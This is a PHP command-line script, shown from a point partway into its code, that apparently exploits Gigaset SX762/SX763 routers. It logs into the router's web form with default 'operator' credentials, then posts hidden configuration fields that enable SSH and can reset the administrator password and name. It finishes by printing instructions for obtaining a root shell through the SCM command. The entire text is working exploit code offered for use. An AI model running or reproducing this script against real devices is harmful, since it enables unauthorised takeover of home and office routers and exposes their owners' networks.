$value) { $fields_string .= $key.'='.$value.'&'; } $fields_string=substr($fields_string,0,strlen($fields_string)-1); $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_TIMEOUT,100); curl_setopt($ch,CURLOPT_POST,true); curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); curl_setopt($ch,CURLOPT_HEADER,true); curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true); $result = curl_exec($ch); curl_close($ch); return $result; }; date_default_timezone_set('Europe/Budapest'); if ($argc<2) { printf("Usage: $argv[0] [SX76x IP address] "); exit(0); }; $ip=$argv[1]; if (isset($argv[2])) $user=$argv[2]; else { printf("No username given defaulting to operator\n"); $user='operator'; }; if (isset($argv[3])) $pass=$argv[3]; else { printf("No password given defaulting to operator!\n"); $pass='operator'; }; if (isset($argv[4])) $apo=$argv[4]; else { printf("Only enabling ssh not going to touch admin password! \n"); }; if (isset($argv[5])) $apu=$argv[5]; else { printf("Going to change admin name too! \n"); }; $url="http://$ip/UE/ProcessForm"; printf("Logging into router:"); $fields = array( 'form_submission_type'=>urlencode("login"), 'current_page'=>urlencode("welcome_login.html"), 'next_page'=>urlencode("welcome_login.html"), 'i'=>urlencode("1"), 'admin_role_name'=>urlencode($user), 'your_password'=>urlencode($pass), ); $res=post($url,$fields); if (strpos($res,"if ('0' == '0')")) {printf("FAILED (Invalid username/password!)\n"); exit(0); } else printf("SUCCESS\n"); if (strpos($res,"Gigaset sx762")) $oscmd="sx762os"; else if (strpos($res,"Gigaset sx763")) $oscmd="sx763os"; else $oscmd="sx76xos"; printf("Asking router to enable SSH "); if (isset($apo)) printf("and change admin password "); printf("for us\n"); $fields = array( 'form_submission_type'=>urlencode("ok_submit"), 'current_page'=>urlencode("welcome_login.html"), 'next_page'=>urlencode("welcome_login.html"), 'r'=>"1", '0_set_IGD.V_SSH.Enable'=>"1", ); if (isset($apo)) { $fields['1_set_IGD.V_PasswordService.Administrator.Password']=urlencode($apo); if (isset($apu)) $fields['2_set_IGD.V_PasswordService.Administrator.Name']=urlencode($apu); }; $res=post($url,$fields); printf("Query sent. We cant check the result, but SSH should be listen on port 22 now.\n"); if (isset($apu)) printf("Admin password set to '" .$apo. "' you can get your shell by logging into SSH with ($apu/$apo) and issuing $oscmd command to SCM.\n"); else if (isset($apo)) printf("Admin password set to '" .$apo. "' you can get your shell by logging into SSH with (administrator/$apo) and issuing $oscmd command to SCM.\n"); else printf("if you have administrator access you can get your shell now by logging into SCM with administrator creditants and issuing $oscmd command to SCM.\n"); ?>